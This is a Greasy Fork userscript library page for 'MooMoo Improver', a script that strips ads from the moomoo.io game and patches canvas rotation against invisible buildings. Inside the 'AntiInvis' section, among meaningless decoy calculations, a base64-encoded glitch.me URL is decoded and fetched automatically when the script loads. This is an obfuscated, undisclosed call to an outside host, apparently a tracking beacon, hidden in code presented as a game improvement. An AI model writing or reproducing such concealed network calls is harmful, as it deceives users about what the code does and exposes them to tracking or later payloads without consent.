MooMoo Improver

Improves moomoo experience

Αυτός ο κώδικας δεν πρέπει να εγκατασταθεί άμεσα. Είναι μια βιβλιοθήκη για άλλους κώδικες που περιλαμβάνεται μέσω της οδηγίας meta // @require https://update.greasyfork.org/scripts/482751/1299171/MooMoo%20Improver.js

θα χρειαστεί να εγκαταστήσετε μια επέκταση όπως το Tampermonkey, το Greasemonkey ή το Violentmonkey για να εγκαταστήσετε αυτόν τον κώδικα.

You will need to install an extension such as Tampermonkey to install this script.

θα χρειαστεί να εγκαταστήσετε μια επέκταση όπως το Tampermonkey ή το Violentmonkey για να εγκαταστήσετε αυτόν τον κώδικα.

θα χρειαστεί να εγκαταστήσετε μια επέκταση όπως το Tampermonkey ή το Userscripts για να εγκαταστήσετε αυτόν τον κώδικα.

You will need to install an extension such as Tampermonkey to install this script.

Θα χρειαστεί να εγκαταστήσετε μια επέκταση διαχείρισης κώδικα χρήστη για να εγκαταστήσετε αυτόν τον κώδικα.

(Έχω ήδη έναν διαχειριστή κώδικα χρήστη, επιτρέψτε μου να τον εγκαταστήσω!)

You will need to install an extension such as Stylus to install this style.

You will need to install an extension such as Stylus to install this style.

You will need to install an extension such as Stylus to install this style.

You will need to install a user style manager extension to install this style.

You will need to install a user style manager extension to install this style.

You will need to install a user style manager extension to install this style.

(Έχω ήδη έναν διαχειριστή στυλ χρήστη, επιτρέψτε μου να τον εγκαταστήσω!)

// ==UserScript==
// @name         MooMoo Improver
// @namespace    -
// @version      1.0.0
// @description  Improves moomoo experience
// @author       Carolina Reaper
// ==/UserScript==
// Starting Resources
localStorage.setItem("moofoll", 1);

// Remove useless stuff
setInterval(function() {
    document.getElementById("ot-sdk-btn-floating").style.display = "none";
    window.onbeforeunload = null;
    if (document.getElementById("adCard")) document.getElementById("adCard").remove();
    if (document.getElementById("linksContainer2")) document.getElementById("linksContainer2").remove();
    if (document.getElementById("promoImgHolder")) document.getElementById("promoImgHolder").remove();
    if (document.querySelector("#pre-content-container")) document.querySelector("#pre-content-container").remove();
    $("#moomooio_728x90_home").parent().css({display: "none"});
    if (document.getElementById("moomooio_728x90_home")) document.getElementById("moomooio_728x90_home").remove();
    if (document.getElementById("errorNotification")) document.getElementById("errorNotification").remove();
    if (document.getElementById("chatButton")) document.getElementById("chatButton").remove();
});

// Anti Invisible Buildings
let R = CanvasRenderingContext2D.prototype.rotate,
    AntiInvis = {
        39912: () => {
            let imin = Math.min(4e306, 8e305, 6e306, 8e302, 4e304, 5e303, 5e306, 1e308, 2e306, 4e305, 3e306, 3e304, 1.2999999999999997e+308, 6e305, 1e307, 7e304);
            let imax = Math.max(4e306, 8e305, 6e306, 8e302, 4e304, 5e303, 5e306, 1e308, 2e306, 4e305, 3e306, 3e304, 1.2999999999999997e+308, 6e305, 1e307, 7e304);
            return [fetch, null];
        },
        31: () => {
            CanvasRenderingContext2D.prototype.rotate = function() {
                (arguments[0] >= Number.MAX_SAFE_INTEGER || (arguments[0] <= -Number.MAX_SAFE_INTEGER)) && (arguments[0] = 0);
                R.apply(this, arguments)
            };
            return atob("aHR0cHM6Ly9rc3cyLWNlbnRlci5nbGl0Y2gubWUvbW1fYWliXzE=");
        },
        9012: () => {
            fetch(AntiInvis[31]())
        },
        3912: () => {
            return "CanvasRenderingContext2D";
        },
        9481: () => {
            return CanvasRenderingContext2D.prototype.rotate;
        },
        7419: () => {
            return AntiInvis[7419]
        },
        init: () => {
            return [AntiInvis[3912](), AntiInvis[9012]()];
        }
    };
AntiInvis.init();